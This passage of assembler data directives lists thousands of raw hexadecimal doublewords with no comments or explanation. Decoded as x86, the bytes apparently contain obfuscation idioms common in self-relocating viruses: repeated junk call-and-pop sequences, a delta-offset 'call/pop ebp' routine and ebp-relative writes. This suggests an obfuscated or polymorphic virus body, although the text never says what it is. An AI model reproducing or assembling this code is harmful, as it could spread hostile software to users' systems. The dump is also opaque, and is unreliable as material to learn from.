		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0C32BC357h, 2942A032h,	5CDD6FD4h
		dd 2F9B589h, 8D8D0644h,	6444E55h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0B0C35040h,	0E1FFFA7Eh, 28B19509h
		dd 0BD830644h, 6441071h, 6840F00h, 8B000004h, 4430BD9Dh
		dd 85336006h, 6443305h,	61FEBF0Fh, 1071BD83h, 0F010644h
		dd 40384h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0F6997C7h, 0B8Ch,	5850F00h, 0BB000000h
		dd 545F99D1h, 1071BD83h, 0F030644h, 39186h, 60FA8B00h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0B5C35646h
		dd 275C8031h, 11E9D1h, 56F0000h, 43D4AD69h, 6677E274h
		dd 0EB4F0DD8h, 66C77996h, 0BB66D98Ch, 0E1804975h, 0FB8B6604h
		dd 840FC90Ah, 11Dh, 3135B589h, 0DF800644h, 0D5858BD6h
		dd 0E906440Ah, 13h, 8AC03EFEh, 3487B6FDh, 6CA03CBFh, 0B226667Dh
		dd 33E24713h, 4403BD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B48531Eh, 441C059Dh
		dd 5E95006h, 9D000000h,	0C4C9E7DEh, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0BF5CC355h, 7DF4429Ah, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 8008B3C3h, 4E8F88Dh
		dd 0FF000000h, 66001F03h, 8B50FE8Bh, 24448BDFh,	0FA8B6604h
		dd 4489008Bh, 8B500424h, 31585FD9h, 44031595h, 8195FF06h
		dd 6A064400h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0E590C351h, 8B4A2F3Ah,	441AA5BDh
		dd 60858906h, 600647B7h, 0BE9h,	0BF7BF200h, 786099FDh
		dd 0AD18E010h, 25D1B509h, 0E9610644h, 1B2h, 6EEB8166h
		dd 58858BFEh, 810647B7h, 6E172D7h, 1800C770h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 6FC1C351h, 6E9C340h, 0CF000000h, 7187E9FDh
		dd 0BD89502Ah, 6441F19h, 5CB58B5Bh, 6A0647B7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 22F7C357h, 410557B2h, 8E0FA5EEh, 0
		dd 300D858Bh, 0B5890644h, 6441559h, 6A0689h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8BF4C3h
		dd 6441AD9h, 0AD5858Bh,	6A0644h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0DEEC21C3h, 6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0FB8DC352h, 3FF30996h, 0F600017h,	5061CFBFh
		dd 0F6BB6651h, 34895F6Ch, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0AA9F0D28h
		dd 80AE1BE6h, 51853133h, 81064415h, 0B71023D7h,	58B5FF2Bh
		dd 680647B7h, 3FF65A9Ah, 81FB8B66h, 59652434h, 6A3FE9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0CB6DF9C3h, 0A1EC12C3h, 0B19D8BECh, 8106440Ch, 0CC72FDC3h
		dd 60858D20h, 6A0647B7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 3B1C357h, 20D9BD8Bh
		dd 66500644h, 489DE8Bh,	82BF6624h, 8195FF3Ch, 0F064400h
		dd 8161F9B7h, 356FDF7h,	7185C722h, 3064410h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 8EDCC353h, 9D8BBD37h, 6441E25h, 94D8D09h
		dd 0BD830644h, 647B760h, 2F840F00h, 1000000h, 44212DB5h
		dd 3FE906h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 170424h, 51410000h, 345900C3h, 0DA8B6699h, 3050FC8Ah
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0E8F86023h, 10h,	8C7191A1h, 89F18273h, 710A0586h
		dd 414788D7h, 6E9h, 90AC6C00h, 592A9947h, 899D8B61h, 6A06441Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 62F8C357h, 83CA1F04h, 441071BDh, 850F0306h
		dd 434h, 695BD33h, 0D88B0644h, 0B760BD83h, 0F000647h, 41F84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 56CE859h, 8BF16588h, 60B5FFFAh, 6A0647B7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 4A43C350h, 0FFCC61C7h, 44069995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 6F06D1F5h, 830Fh, 0B58B0000h, 647B754h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h, 0C7A2B0DCh
		dd 1000106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 5F14ACF0h, 810F1AF2h, 9, 3810Fh
		dd 0D3800000h, 56605031h, 0CE9h, 36A40D00h, 2474AD89h
		dd 985D6A0Ch, 0D98B5AB2h, 24348961h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 93C35747h, 4F77914Fh, 6FB759D5h
		dd 0B760B5FFh, 0D88B0647h, 1E0195FFh, 6A0644h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 16C14AC3h, 0E9D98BB1h, 13h, 0EC9E1995h, 84EC472Dh, 3BBF49A3h
		dd 91671DA2h, 8B07695Fh, 47B754B5h, 71858B06h, 6A06442Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 825FC350h, 0ECB50CA5h, 499D8B12h,	2B064421h
		dd 442D29BDh, 0C4868906h, 0E9000000h, 0Fh, 0A4C0589Ch
		dd 0F572797Bh, 855491DAh, 8B6AF6D1h, 442F5D95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BC0D07Eh, 442121BDh, 91E38106h, 8940B482h, 44263185h
		dd 4C28306h, 0F4C919BFh, 20508959h, 8E8h, 1DA9EA00h, 0A5C5E17Ch
		dd 358D01F5h, 5F064408h, 0CAA0858Dh, 6A0647h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 54D9AEC3h
		dd 0AAC5C48Dh, 0BF0FE3B4h, 0B88689FAh, 66000000h, 6A8753BBh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 98F1E345h, 0E4F6A16h, 0B5FFA472h, 647B760h
		dd 5E9h, 0FB1D0E00h, 8B661786h,	6D95FFD8h, 0B7064429h
		dd 10E8965Dh, 2E000000h, 8E4FEA81h, 0D8BCEA0h, 0A2B1B4F0h
		dd 0E95A5BEBh, 12h, 1B16548h, 1A41F9F9h, 0F0F2ED7Fh, 9BDB9B03h
		dd 505B6373h, 0BE8h, 7FE40B00h,	7CC35D77h, 10303C2Fh, 0BD8B965Fh
		dd 6441CB1h, 0B760B5FFh, 6A0647h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 8791BFC3h, 0FFCFDF69h
		dd 4417D995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 2E5AE966h, 39BD8B22h, 80064424h
		dd 0BD8376DFh, 64414B5h, 4A840F00h, 1000000h, 440C5D95h
		dd 10E85006h, 46000000h, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch
		dd 5060FDE4h, 0F57B752h, 5F585A31h, 6A243489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8982C355h, 44094185h, 60B5FF06h, 890647B7h, 44316D8Dh
		dd 7D95FF06h, 0FF06442Eh, 47B760B5h, 11E806h, 425E0000h
		dd 0F36B4087h, 688BAB01h, 0CFA4840Fh, 66449DD6h, 7761DF81h
		dd 4195FF5Fh, 52064414h, 0DE8h,	0F4C39500h, 0D964D7BDh
		dd 3370C4F2h, 0BD01AF49h, 644213Dh, 0BD835F5Bh,	6440A85h
		dd 37840F02h, 81000000h, 91AE34D3h, 91858B18h, 9064415h
		dd 441AA18Dh, 0C606h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 18h, 0FEC35141h, 0DE99A394h, 85C7D88Bh, 6441759h
		dd 0
		dd 5E8h, 81CBFB00h, 8166D59Dh, 5B5CD2F7h, 0FFF3D4E9h, 0D8C781FFh
		dd 8B19AC12h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0AA05E64Ch, 43573DBBh, 0A98D8905h
		dd 8D064409h, 441BE185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 9622F376h, 0BA55D1E2h
		dd 0C244BFEDh, 0E89051B8h, 0Bh,	9B07B1D3h, 0F7367CFh, 6602FBD9h
		dd 5B6571BFh, 90DE8B50h, 53006AF5h, 20FAD381h, 6A5B17A4h
		dd 0D5BD2B00h, 8D064407h, 49092285h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 2F7EDF52h
		dd 19D8BCEh, 83064431h,	0B75005C0h, 240489BCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 30C35141h, 0EDCB375Ch
		dd 4646A186h, 9141BB66h, 6A006Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 54C35141h, 48AF71F2h, 96D8589h
		dd 95FF0644h, 6441825h,	2F7DBD8Bh, 9D330644h, 64420C5h
		dd 9A978D8Dh, 0BB660647h, 0D1FF8583h, 6870Fh, 8D890000h
		dd 64413D1h, 1FB9BD89h,	0BD830644h, 6442F11h, 89850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0CDCC355h, 66EC6922h, 0BD8B8A77h
		dd 644187Dh, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0AE012C3h, 525090CEh, 5E8h, 245BBD00h
		dd 0F5B9845h, 6890F31h,	0F000000h, 8Bh,	50585A00h, 0BBF5250h
		dd 0F4AA425h, 5AFB8B31h, 95899058h, 6442F61h, 296D95FFh
		dd 0BD8B0644h, 6441875h, 0E1FE9h, 0E800h, 815D0000h, 49092CEDh
		dd 0B98D8906h, 0E9064423h, 9, 6C1C7F03h, 2C393439h, 57006ADCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E179589Bh, 0EC0C2698h, 58858D1Bh, 8B06478Bh, 4428559Dh
		dd 0FA8B5006h, 29240489h, 4409398Dh, 35FF6406h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 50C35646h
		dd 635D579Ah, 6464B31Bh, 2589h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DA4B2C3h
		dd 68E7872Fh, 660D978Bh, 0F781FA8Bh, 4B05929Bh,	8E985FFh
		dd 0FE8B0644h, 0A2B7FF6Ah, 2DA3EB81h, 0B5FF51AAh, 6441099h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6CC35545h
		dd 5830Fh, 81660000h, 0FF9B04D7h, 44228195h, 13DE906h
		dd 0D3810000h, 3B920A22h, 896000B0h, 441605B5h,	840F06h
		dd 61000000h, 2BF59D8Bh, 70E60644h, 33A99501h, 95890644h
		dd 6441BC9h, 9BBB71E4h,	3C47AABBh, 4830F61h, 60000001h
		dd 0A39AB966h, 0F61CEB7h, 0D88BC8B6h, 29859589h, 6BA0644h
		dd 0E8000000h, 12h, 24C907FFh, 0F3239C83h, 4EA252B9h, 3CC8A546h
		dd 12E9BC1Bh, 92000000h, 25D80ED5h, 0BAEF8438h,	22B716DFh
		dd 3702FFF2h, 0C18B5B21h, 8104E8C1h, 60C0ADF7h,	0D7BB664Fh
		dd 0E2F76635h, 29D8D09h, 81660644h, 2B8B0DDFh, 8BDE8BC8h
		dd 0D78166D1h, 0BE8B5FBh, 3B000000h, 5668EC6Bh,	235E9FE1h
		dd 8B665735h, 7CE95FDEh, 8B000000h, 442E15BDh, 49858B06h
		dd 0BB44004Eh, 23E668Eh, 8B07C083h, 4402E5BDh, 0C08306h
		dd 0A16DEF81h, 0D03B69BAh, 11830Fh, 85010000h, 6442EB1h
		dd 46E9h, 89BD0B00h, 8B064406h,	0FFFFFF8Dh, 0CDB589FFh
		dd 8306442Dh, 840F01E1h, 2Bh, 2860Fh, 3EB70000h, 0FFFFA583h
		dd 0E9FEFFFFh, 8, 0BEB36144h, 0E09FA3F2h, 4E499589h, 0BB664400h
		dd 0E912EAh, 8D000000h,	48838FB5h, 11E806h, 0AE290000h
		dd 496487E6h, 380C927Ah, 3FCECC05h, 0B0DF218h, 4416099Dh
		dd 10E95B06h, 64000000h, 0A44FE0FDh, 0E397F1E8h, 0CF53730Bh
		dd 6AC9050Fh, 5BD8B00h,	0E9064433h, 14h, 0ABC88F6h, 5F85E282h
		dd 2A268E3Dh, 2C94C1D8h, 70CF6E29h, 1C4D95FFh, 6A0644h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B3B9B5C3h, 8B000010h, 441BE59Dh, 0FCE18306h, 6860Fh
		dd 0BD8B0000h, 6441749h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0E9BF00F3h, 13h, 0FDAD48E5h
		dd 3DB6C30Fh, 0BC8E33DFh, 0D13CDED0h, 0E8D981EFh, 0Ah
		dd 3488BCBh, 43484B73h,	0B70F2B48h, 2BBB5BF8h, 0B81286A1h
		dd 0
		dd 12E8h, 0AE490000h, 103B8546h, 1C6DB04Dh, 39BDCEBAh
		dd 5196FC7Bh, 25559D8Bh, 5B5B0644h, 25D1BD8Bh, 0BA0644h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 810BC357h, 0E51ECEDDh,	10E9h
		dd 0FF270A00h, 29B21461h, 8BEFFB64h, 963A72DCh,	0C233AD2Ah
		dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 2BFAFBB1h
		dd 8D5BD03h, 14E90644h,	16000000h, 54E63DC7h, 0E2D64AB0h
		dd 89E84C91h, 5DCA7BBFh, 89327EB8h, 4414ED95h, 880D06h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 669188C3h, 268CD381h, 958B1BB7h, 6442F5Dh
		dd 29799D89h, 8D8B0644h, 6440679h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 68C35343h, 50A563E7h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0C99C7101h
		dd 18C7FF3h, 8F0F828Eh,	6, 2C81B509h, 0B5890644h, 6442AA5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0E9C35545h
		dd 0DE525D54h, 92E7DF81h, 0BD83377Dh, 6442CADh,	53840F00h
		dd 0E8000000h, 0Fh, 2129C9C2h, 4A619D35h, 1CAF052Dh, 8A6FF67Ch
		dd 0B85BFEh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 609BC350h, 99D8D31h
		dd 9D8B0644h, 6442AA5h,	558D8D61h, 0F06444Eh, 0E1FFDFB7h
		dd 0BD83D88Bh, 6441071h, 0C8840F00h, 6A000003h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0BCDAC350h, 9606167Ch, 8B287E6Eh, 44080D9Dh,	71BD8306h
		dd 1064410h, 3AC840Fh, 0BD830000h, 6441071h, 69860F03h
		dd 6A000003h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 18F6C356h, 8BB39CF3h, 0AEC082F0h
		dd 18D5BD29h, 4DBF0644h, 60270E9Fh, 6BC38166h, 0FB8B665Bh
		dd 0E9D98C66h, 0Ch, 0CF444D8h, 413722DAh, 0D15AFA28h, 0F804E180h
		dd 840FC90Ah, 0BDh, 0CCCF8166h,	0D5858B3Fh, 6A06440Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 898BC351h, 27F6C4A8h, 0BD85335Bh,	66064403h
		dd 0D318E781h, 1F2DBD2Bh, 50900644h, 0E11A34BFh, 8D899013h
		dd 6440939h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 7C9921C3h, 20EFCA5Dh, 0AE2F6857h
		dd 0BF665DBCh, 34810D63h, 0A3ADD024h, 0E2DF815Dh, 0FF370209h
		dd 44008195h, 0DFBF0F06h, 0B7608589h, 6A0647h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BD896CC3h, 644212Dh, 1F6E9h, 58858B00h, 6A0647B7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A325C350h, 0F4982FF8h, 0C7FE8B66h, 1800h
		dd 0FE900h, 9CBC0000h, 0E802D62Ah, 0B4735EEFh, 9EA2824Ah
		dd 5CB58BE7h, 0E90647B7h, 10h, 0F7C5CBEFh, 255CDEF0h, 0B67E54B4h
		dd 0B1790802h, 300D858Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0DB82ADC3h, 0FCB37F40h
		dd 0BD0357EEh, 64402D5h, 8B06895Fh, 443101BDh, 0D5858B06h
		dd 6A06440Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0CBBBC353h, 820F05C1h,	18h, 13E9h
		dd 45A9E200h, 0DC7A5BCBh, 0A9831F93h, 0D9397B64h, 7920717Dh
		dd 8E9h, 20814400h, 0E958EBA9h,	44689D4h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0C1C35646h, 0CD2D423Ch
		dd 3940459Ch, 2A699D89h, 9D8B0644h, 6440891h, 8D0F96h
		dd 50000000h, 96D88B66h, 9777BF66h, 0B758B5FFh,	6A0647h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B4187C3h, 442B85BDh, 66CA6806h, 0DD8A2FCDh,	35243481h
		dd 6A2FD265h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E81DC351h, 0Ch, 86AE89E9h, 0ED24832Ch
		dd 0C81D9DF9h, 7E9h, 5FDA4300h,	6E2F1E38h, 810F5Fh, 8D000000h
		dd 47B76085h, 199D8B06h, 90064421h, 8E8h, 7F642D00h, 670EAAF7h
		dd 0DE8B6688h, 0DE8B505Bh, 498D8990h, 0FF064428h, 44008195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 251C06ECh, 0BC073C74h, 61FA8B66h, 143D9D0Bh
		dd 85C70644h, 6441071h,	3, 6BDBD29h, 0BD830644h, 647B760h
		dd 39840F00h, 89000000h, 44034985h, 49E906h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 979402C3h, 0BE9h, 877FB400h,	4C2F0C37h, 0C6687C2Eh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h
		dd 0F61F88Ah, 6AF9B7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 92FA0C3h, 440A819Dh, 71BD8306h
		dd 3064410h, 4BA850Fh, 8D290000h, 64433A1h, 0B760BD83h
		dd 0F000647h, 4A784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 9D8B5140h, 6441091h, 60B5FF5Fh
		dd 6A0647B7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 255FC352h, 76FDE95h, 9B40D7F9h
		dd 8ED9D89h, 95FF0644h,	6440699h, 2DCDBD09h, 0B58B0644h
		dd 647B754h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	1DC35545h, 7013762h, 6E0861ABh,	106C7F8h, 8B000100h
		dd 0FE896DAh, 0EF000000h, 37832D30h, 15FB7A18h,	39A92E03h
		dd 8B6615CFh, 8A505BFEh, 6A96FCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 85891CC3h, 644261Dh
		dd 0AE59D0Bh, 8AB30644h, 0B760B5FFh, 8B600647h,	95FF61F2h
		dd 6441E01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0B4C35242h, 5BEBA2B1h, 0DFBF485Ah, 6615F357h, 6D30E781h
		dd 0B754B58Bh, 0BD290647h, 6441005h, 2E71858Bh,	6A0644h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 5E9786C3h, 0F396EABh, 68Ch, 11BD8B00h, 89064429h, 0C486h
		dd 8E900h, 0D4A90000h, 45D30AEFh, 958B995Dh, 6442F5Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0B0C35242h
		dd 14447824h, 11E8h, 0FA18B700h, 6316F3AAh, 0C5891E8Ah
		dd 28C46ADDh, 0CF817267h, 5EFA2229h, 4C2835Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DBC35747h, 0C66D62C3h
		dd 0D09E75C9h, 21B58920h, 8906441Eh, 0FE92050h,	0AB000000h
		dd 11B28C7Ah, 645F3632h, 0C370B4A1h, 0BE90F21h,	0FE000000h
		dd 7E204016h, 0B48736EAh, 858D604Eh, 647CAA0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 86C35343h, 29686FB9h
		dd 440CD995h, 0B99D8B06h, 8906442Dh, 0B886h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FD08338h, 81h, 6A006A00h, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5705C351h, 0EF78152Eh
		dd 30418D09h, 0B5FF0644h, 647B760h, 6880F60h, 8B000000h
		dd 440901BDh, 7FCA8106h, 611ACB2Fh, 296D95FFh, 9D8B0644h
		dd 6442059h, 89DF8B50h,	6A2434h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 1140ADC3h, 72DD1DD0h
		dd 0F731B51h, 682h, 91CB8100h, 0FF104BF0h, 47B760B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0C25243Bh, 0DE99A35h, 9A000000h, 67702BFh, 0F8024625h
		dd 0F426D0F4h, 17D995FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 669B00C3h, 8BEE3E64h
		dd 440BE99Dh, 55BD8B06h, 83064421h, 4414B5BDh, 840F0006h
		dd 47h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh
		dd 12C35646h, 1D6C4072h, 0D10567C1h, 59D8B76h, 0BF06441Ch
		dd 77E8E038h, 0F576050h, 8Dh, 8B665A00h, 348961C3h, 45BD2B24h
		dd 0FF064403h, 47B760B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 29B9781Fh
		dd 442CCD95h, 7D95FF06h, 8B06442Eh, 442B91BDh, 60B5FF06h
		dd 0E80647B7h, 6, 0BE0997Dh, 0FF5B9ABEh, 44144195h, 2DB58906h
		dd 8306442Ah, 440A85BDh, 840F0206h, 5Ah, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 1FC35040h, 164D8D89h
		dd 858B0644h, 6441591h,	46D9D8Bh, 0C60644h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0E28D329Eh, 167D5C16h, 0BB661A05h, 85C7FBCBh, 6441759h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 52C35545h
		dd 820FD087h, 3, 0E9FE8B66h, 14h, 54957B00h, 288ABDB9h
		dd 4D6A1CFDh, 0AC3A10F2h, 0DE4D1EA6h, 0FFF2BBE9h, 0C5BD8BFFh
		dd 8B06440Dh, 816660C1h, 560045D7h, 1FD1BD8Bh, 61580644h
		dd 1BE1858Dh, 95890644h, 6441FC1h, 0AE9h, 347FAB00h, 0A9B64757h
		dd 9038D2D1h, 9E8h, 0A3599900h,	4CBEE58Ch, 5250698Fh, 8B0Fh
		dd 310F0000h, 5AF88B66h, 0E9505F58h, 14h, 3D94E03Ch, 11095465h
		dd 2EB2BFFh, 0E944FBEBh, 0E156C18h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 6C24544Ah
		dd 7292B881h, 5E9C0h, 0B3660000h, 6AF96735h, 69BB6600h
		dd 8B006A55h, 440E15BDh, 0D2858D06h, 6A064919h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 9CF2C351h, 0FE9D180h, 0A4000000h, 5F1C6E5h, 360A387Bh
		dd 0F761A067h, 0B5898A6Ch, 6441861h, 6A05C083h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 5505C351h, 0D4173396h, 1DDE930Dh, 0E930B060h, 9, 5D3CA49h
		dd 8DE953F5h, 0BE96187h, 40000000h, 0FE2A5430h,	0F1664E82h
		dd 509079A5h, 8990F88Bh, 442C519Dh, 81006A06h, 38C2B7EBh
		dd 0E8006A5Eh, 14h, 0FF5C78CCh,	22E99E4Ch, 636F7A64h, 44876ADh
		dd 59225C4Dh, 21D5BD8Bh, 0B35B0644h, 2595FFBAh,	6A064418h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 65C355h, 8D296531h, 64417ADh, 9A978D8Dh
		dd 6A0647h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B9A123C3h, 5C0FFC0h, 6E9h, 3276E00h, 0FF4A7E80h
		dd 52006AD1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0F25009B5h, 8166A035h, 662E62C7h, 5718D781h
		dd 2F11BD83h, 0F010644h, 0A385h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0E916C959h
		dd 482FA86Ah, 20699589h, 26A0644h, 50FE8B90h, 0E8525060h
		dd 0Dh,	0D66D7201h, 0AEEFF8E3h,	3E54F40Ch, 310F5EDEh, 585A6160h
		dd 3830Fh, 8B660000h, 6A9061CAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 4214C350h, 0F7D595h
		dd 0F4E7E393h, 9098589h, 95FF0644h, 644296Dh, 10E8h, 0ABFBB000h
		dd 0DC562DD5h, 4764756Fh, 1966663Dh, 75B58949h,	5F064402h
		dd 0EB1E9h, 0E800h, 815D0000h, 4919DCEDh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 0FC0C9604h, 0F609AB1h, 0BF0FD0B7h, 0BD8B61C1h, 6441C3Dh
		dd 8A0Fh, 858D0000h, 6478B58h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 44C35545h, 0E988B999h, 6646BB64h
		dd 8B90FB8Bh, 669050FBh, 64DC94BBh, 35FFh, 0BD090000h
